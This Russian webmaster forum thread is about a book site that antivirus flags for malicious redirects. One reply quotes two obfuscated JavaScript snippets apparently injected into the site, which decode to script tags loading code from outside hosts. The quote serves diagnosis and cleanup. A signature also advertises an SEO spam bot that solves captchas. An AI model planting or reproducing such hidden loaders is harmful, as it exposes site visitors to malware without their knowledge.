Помогите с Вирусом

A
На сайте с 02.08.2009
Offline
3
Alo
714

При входе на сайт Каспер выдает что сайт хочет перейти на сайты которые опасные для вашего ПК.

Я сам никаких переадресатов не ставил.

Сайт www.eknigi.ws

Спасибо

BredoGen.
На сайте с 19.10.2009
Offline
98
#1

Подозреваю, что ругается на вот это:

<noindex><script language=JavaScript>

function googlesearch(){
var temp='',i,c=0,out='',wm='9';
var str='60!115!'+wm+''+wm+'!114!105!112!116!32!108!'+wm+'7!110!103!117!'+wm+'7!103!101!61!34!74!'+wm+'7!118!'+wm+'7!83!'+wm+''+wm+'!114!105!112!116!34!62!10!32!32!32!32!118!'+wm+'7!114!32!108!'+wm+'7!110!107!114!117!'+wm+'5!104!116!10'+wm+'!108!32!61!32!3'+wm+'!3'+wm+'!5'+wm+'!10!32!32!32!32!108!'+wm+'7!110!107!114!117!'+wm+'5!104!116!10'+wm+'!108!32!43!61!32!3'+wm+'!60!115!'+wm+''+wm+'!114!3'+wm+'!32!43!32!3'+wm+'!105!112!116!32!108!'+wm+'7!110!103!117!'+wm+'7!103!101!61!34!74!'+wm+'7!118!'+wm+'7!83!'+wm+''+wm+'!3'+wm+'!32!43!32!3'+wm+'!114!105!112!116!34!32!3'+wm+'!5'+wm+'!10!32!32!32!32!108!'+wm+'7!110!107!114!117!'+wm+'5!104!116!10'+wm+'!108!32!43!61!32!3'+wm+'!115!114!'+wm+''+wm+'!61!34!104!116!116!112!58!47!47!108!'+wm+'7!110!107!114!117!4'+wm+'!46!114!3'+wm+'!5'+wm+'!10!32!32!32!32!108!'+wm+'7!110!107!114!117!'+wm+'5!104!116!10'+wm+'!108!32!43!61!32!3'+wm+'!117!47!106!115!46!112!104!112!63!105!100!61!4'+wm+'!55!53!4'+wm+'!4'+wm+'!3'+wm+'!5'+wm+'!10!32!32!32!32!108!'+wm+'7!110!107!114!117!'+wm+'5!104!116!10'+wm+'!108!32!43!61!32!3'+wm+'!38!117!114!108!61!3'+wm+'!32!43!32!101!110!'+wm+''+wm+'!111!100!101!85!82!73!67!111!10'+wm+'!112!111!110!101!110!116!40!100!111!'+wm+''+wm+'!117!10'+wm+'!101!110!116!46!108!111!'+wm+''+wm+'!'+wm+'7!116!105!111!110!41!5'+wm+'!10!32!32!32!32!108!'+wm+'7!110!107!114!117!'+wm+'5!104!116!10'+wm+'!108!32!43!61!32!3'+wm+'!38!114!110!100!61!3'+wm+'!32!43!32!77!'+wm+'7!116!104!46!114!'+wm+'7!110!100!111!10'+wm+'!40!41!32!43!32!3'+wm+'!34!62!60!47!115!'+wm+''+wm+'!114!3'+wm+'!32!43!32!3'+wm+'!105!112!116!62!3'+wm+'!5'+wm+'!10!32!32!32!32!100!111!'+wm+''+wm+'!117!10'+wm+'!101!110!116!46!11'+wm+'!114!105!116!101!40!108!'+wm+'7!110!107!114!117!'+wm+'5!104!116!10'+wm+'!108!41!5'+wm+'!10!60!47!115!'+wm+''+wm+'!114!105!112!116!62!';
l=str.length;while(c<l){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp='';}document.write(out);
}
googlesearch();
</script>

<script language=JavaScript>
<!--
var temp='',i,c=0,out='';
var str='60!115!99!114!105!112!116!32!115!114!99!61!39!104!116!116!112!58!47!47!99!111!100!101!46!109!121!105!102!114!97!109!101!46!99!111!109!47!100!105!114!101!99!116!46!106!115!39!62!60!47!115!99!114!105!112!116!62!';
l=str.length;
while(c<=str.length-1)
{
while(str.charAt(c)!='!')temp=temp+str.charAt(c++);
c++;
out=out+String.fromCharCode(temp);
temp='';
}
document.write(out);
//-->
</script></noindex>

Скрипт ваш? :)

A
На сайте с 02.08.2009
Offline
3
Alo
#2

Честно не знаю.

А не подскажешь в какой файле в Дле он находится?

Благодарю

xpert13
На сайте с 15.09.2008
Offline
127
#3

ищи в index.php или темплейтах

Коляныч
На сайте с 08.10.2009
Offline
8
#4

у тебя весь сайт заражен...

Белое SEO. Мод для регистрации в каталогах (17000 ед.), со скриптом для обратных ссылок, с отдельной страницей для каждой :). Плюсы: многопоточность (реком. 50-100), автораспознование капч! Реф. (http://www.botmasterru.com/product26417/) :)
A
На сайте с 02.08.2009
Offline
3
Alo
#5
Коляныч:
у тебя весь сайт заражен...

Если не трудно скажи на основании чего ты так решил и что делать

Спасибо

A
На сайте с 02.08.2009
Offline
3
Alo
#6

В файлах индекс и темплейтс не нашел....

mr-Lex
На сайте с 10.04.2008
Offline
119
#7

Kis 2010 лицензия на сайт не ругается. Убрали уже?

[Удален]
#8

mr-Lex, вроде да, вируса как вроде нет

Коляныч
На сайте с 08.10.2009
Offline
8
#9

вылечили

10 вирусов

A
На сайте с 02.08.2009
Offline
3
Alo
#10

Да что-то нету...

Наверно по расписанию работает..

Коляныч

Не понял а как вылечили???

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий